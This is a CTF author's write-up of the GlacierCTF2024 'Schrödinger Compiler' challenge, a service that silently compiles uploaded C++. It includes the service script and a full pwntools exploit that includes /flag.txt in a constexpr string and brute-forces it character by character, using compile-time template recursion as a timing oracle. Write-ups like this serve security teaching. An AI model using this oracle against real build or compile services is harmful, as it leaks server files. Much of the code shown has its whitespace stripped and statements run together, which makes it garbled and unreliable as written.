Schrödinger Compiler is a C++ compiler related challenge I authored in
GlacierCTF2024. It had 19 solves 3h before the end of the 24h CTF. It
categorizes in the medium side of the challenges.
You have the original CTFd distfile with a locally deployable version in [1]
The challenge is jailed per connection and has the following behaviour:
#!/bin/sh
echo"[+] Welcome to the Schrödinger Compiler"echo"[+] We definitely don't have a flag in /flag.txt"echo"[+] Timeout is 3 seconds, you can run it locally with deploy.sh"echo""echo"[+] Submit the base64 (EOF with a '@') of a .tar.gz compressed "echo" .cpp file and we'll compile it for you"echo"[+] Example: tar cz main.cpp | base64 ; echo "@""echo"[>] --- BASE64 INPUT START ---"read -d @ FILE
echo"[>] --- BASE64 INPUT END ---"DIR=$(mktemp -d)cd${DIR}&> /dev/null
echo"${FILE}"| base64 -d 2>/dev/null | tar -xzO > main.cpp 2> /dev/null
echo"[+] Compiling with g++ main.cpp &> /dev/null"g++ main.cpp &> /dev/null
# ./main# oops we fogot to run itecho"[+] Bye, it was a pleasure! Come back soon!"
It basically receives a tarfile of a main.cpp, compiles with no output
and returns.
In the description we get that the flag can contain the following characters:
The interesting part of the challenge is that the compiler has no output. If it
had output you could cause an error by including /flag.txt and get the
output. Maybe that could have been an easier intro version of this challenge :)
As we get the flag characters, this leads us in the direction of an online
bruteforcing challenge.
How to setup a bruteforcing oracle? Well, C++ constexpr!
#!/usr/bin/env -S python3 -u# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host localhost --port 1337frompwnimport*importreimportosfromconcurrent.futuresimportProcessPoolExecutorfromconcurrent.futuresimportas_completed# Set up pwntools for the correct architecture# Just set TERM_PROGRAM in your ~/.profile!# context.update(terminal='CHANGEME')exe=(args.EXEor'challenge')host=args.HOSTor'localhost'port=int(args.PORTor1337)# Find flag by exact match or format# log.success(find_flag(io.recvall()))real_flag=open("./flag.txt","r").readline().strip()fake_flag=open("./flag-fake.txt","r").readline().strip()deffind_flag(output):ifnotisinstance(output,str):output=output.decode(errors="ignore")# Match real flagifreal_flaginoutput:returnreal_flag# Match fake flagiffake_flaginoutput:returnfake_flag# Match possible local flagwithopen("/flag.txt","r")aslocal:locl_flag=local.readline().strip()iflocl_flaginoutput:returnlocl_flag# Match regexp flagr=find_flag_fmt(output)ifrisnotNone:returnr# Definitely no flag foundreturnNone# Find flag by format# log.success(find_flag_fmt(io.recvall()))ffmt=re.compile(r"gctf{.*}")deffind_flag_fmt(output):ifnotisinstance(output,str):output=output.decode(errors="ignore")m=ffmt.search(output)ifmisNone:returnNonereturnm.group(0)defstart_local(argv=[],*a,**kw):'''Execute the target binary locally'''returnprocess([exe]+argv,*a,**kw)defstart_remote(argv=[],*a,**kw):'''Connect to the process on the remote host'''io=connect(host,port)returniodefstart(argv=[],*a,**kw):'''Start the exploit against the target.'''ifargs.LOCAL:returnstart_local(argv,*a,**kw)else:returnstart_remote(argv,*a,**kw)# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript='''
'''.format(**locals())#===========================================================# EXPLOIT GOES HERE#===========================================================MAGIC_STUFF=R"""
#include <string>
static constexpr std::string_view flag =
#include "/flag.txt"
;
template <long long N>
constexpr long long ct_factorial()
{
// Honestly the compiler could have optimized almost all of them, I didn't
// bother fixing it as it worked
auto a1 = N * ct_factorial<N - 1>();
auto a2 = N * ct_factorial<N - 1>();
auto a3 = N * ct_factorial<N - 1>();
auto a4 = N * ct_factorial<N - 1>();
auto a5 = N * ct_factorial<N - 1>();
auto a6 = N * ct_factorial<N - 1>();
auto a7 = N * ct_factorial<N - 1>();
auto a8 = N * ct_factorial<N - 1>();
auto a9 = N * ct_factorial<N - 1>();
auto a10 = N * ct_factorial<N - 1>();
auto a11 = N * ct_factorial<N - 1>();
auto a12 = N * ct_factorial<N - 1>();
auto a13 = N * ct_factorial<N - 1>();
auto a14 = N * ct_factorial<N - 1>();
auto a15 = N * ct_factorial<N - 1>();
auto a16 = N * ct_factorial<N - 1>();
auto a17 = N * ct_factorial<N - 1>();
auto a18 = N * ct_factorial<N - 1>();
auto a19 = N * ct_factorial<N - 1>();
auto a20 = N * ct_factorial<N - 1>();
auto a21 = N * ct_factorial<N - 1>();
auto a22 = N * ct_factorial<N - 1>();
auto a23 = N * ct_factorial<N - 1>();
auto a24 = N * ct_factorial<N - 1>();
auto a25 = N * ct_factorial<N - 1>();
auto a26 = N * ct_factorial<N - 1>();
auto a27 = N * ct_factorial<N - 1>();
auto a28 = N * ct_factorial<N - 1>();
auto a29 = N * ct_factorial<N - 1>();
auto a30 = N * ct_factorial<N - 1>();
auto a31 = N * ct_factorial<N - 1>();
auto a32 = N * ct_factorial<N - 1>();
auto a33 = N * ct_factorial<N - 1>();
auto a34 = N * ct_factorial<N - 1>();
auto a35 = N * ct_factorial<N - 1>();
auto a36 = N * ct_factorial<N - 1>();
auto a37 = N * ct_factorial<N - 1>();
auto a38 = N * ct_factorial<N - 1>();
auto a39 = N * ct_factorial<N - 1>();
auto a40 = N * ct_factorial<N - 1>();
auto a41 = N * ct_factorial<N - 1>();
auto a42 = N * ct_factorial<N - 1>();
auto a43 = N * ct_factorial<N - 1>();
auto a44 = N * ct_factorial<N - 1>();
auto a45 = N * ct_factorial<N - 1>();
auto a46 = N * ct_factorial<N - 1>();
auto a47 = N * ct_factorial<N - 1>();
auto a48 = N * ct_factorial<N - 1>();
auto a49 = N * ct_factorial<N - 1>();
auto a50 = N * ct_factorial<N - 1>();
auto a51 = N * ct_factorial<N - 1>();
auto a52 = N * ct_factorial<N - 1>();
auto a53 = N * ct_factorial<N - 1>();
auto a54 = N * ct_factorial<N - 1>();
auto a55 = N * ct_factorial<N - 1>();
auto a56 = N * ct_factorial<N - 1>();
auto a57 = N * ct_factorial<N - 1>();
auto a58 = N * ct_factorial<N - 1>();
auto a59 = N * ct_factorial<N - 1>();
auto a60 = N * ct_factorial<N - 1>();
auto a61 = N * ct_factorial<N - 1>();
auto a62 = N * ct_factorial<N - 1>();
auto a63 = N * ct_factorial<N - 1>();
auto a64 = N * ct_factorial<N - 1>();
auto a65 = N * ct_factorial<N - 1>();
auto a66 = N * ct_factorial<N - 1>();
auto a67 = N * ct_factorial<N - 1>();
auto a68 = N * ct_factorial<N - 1>();
auto a69 = N * ct_factorial<N - 1>();
auto a70 = N * ct_factorial<N - 1>();
auto a71 = N * ct_factorial<N - 1>();
auto a72 = N * ct_factorial<N - 1>();
auto a73 = N * ct_factorial<N - 1>();
auto a74 = N * ct_factorial<N - 1>();
auto a75 = N * ct_factorial<N - 1>();
auto a76 = N * ct_factorial<N - 1>();
auto a77 = N * ct_factorial<N - 1>();
auto a78 = N * ct_factorial<N - 1>();
auto a79 = N * ct_factorial<N - 1>();
auto a80 = N * ct_factorial<N - 1>();
auto a81 = N * ct_factorial<N - 1>();
auto a82 = N * ct_factorial<N - 1>();
auto a83 = N * ct_factorial<N - 1>();
auto a84 = N * ct_factorial<N - 1>();
auto a85 = N * ct_factorial<N - 1>();
auto a86 = N * ct_factorial<N - 1>();
auto a87 = N * ct_factorial<N - 1>();
auto a88 = N * ct_factorial<N - 1>();
auto a89 = N * ct_factorial<N - 1>();
auto a90 = N * ct_factorial<N - 1>();
auto a91 = N * ct_factorial<N - 1>();
auto a92 = N * ct_factorial<N - 1>();
auto a93 = N * ct_factorial<N - 1>();
auto a94 = N * ct_factorial<N - 1>();
auto a95 = N * ct_factorial<N - 1>();
auto a96 = N * ct_factorial<N - 1>();
auto a97 = N * ct_factorial<N - 1>();
auto a98 = N * ct_factorial<N - 1>();
auto a99 = N * ct_factorial<N - 1>();
return a99; // Rest could be optimized ¿?
}
template <>
constexpr long long ct_factorial<0>()
{
return 1;
}
template <char CHR, char POS>
constexpr void check(void) {
if constexpr (CHR == flag[POS]) {
static_assert(true);
} else {
ct_factorial<800>();
}
}
"""# Recovered flagflag=""defcheck_value_pos(val):context.log_level='warn'i=val[0]char=val[1]PARAM="int main() { check<"+str(ord(char))+","+str(i)+">(); }\n"payload=MAGIC_STUFF+PARAM# I was getting trolled by python's tar + multithreading so bash it is XD# I know this is horrible but idcpayload=os.popen(f"cd $(mktemp -d) && echo \'{payload}\' > main.cpp && tar cz main.cpp | base64 ; echo \"@\"").read().strip()remote=start()remote.sendlineafter(b"[>] --- BASE64 INPUT START ---",payload.encode())d=remote.recvuntil(b"[+] Bye, it was a pleasure! Come back soon!",timeout=1).decode()ifd!='':returncharelse:remote.close()returnNone# Possible characters per positionchars=string.ascii_lowercase+string.ascii_uppercase+string.digits+"_{}"i=0whileTrue:# If we missed a char ignore and restart bruteforcing that positionifi!=len(flag):i=i-1log.warn(f'Bruteforcing position {i}')res=[]withProcessPoolExecutor(8)asexe:futures=[exe.submit(check_value_pos,(i,char,))forcharinchars]forfutureinas_completed(futures):result=future.result()if(result!=None):flag+=resultlog.warn(flag)exe.shutdown(wait=False,cancel_futures=True)if(result=='}'):r=find_flag(result)if(risnotNone):log.success(r)exit(0)else:exit(1)breaki+=1# This is a timing side channel, it will fail just if it timeouts. If it can't# find it it will keep trying from the startexit(1)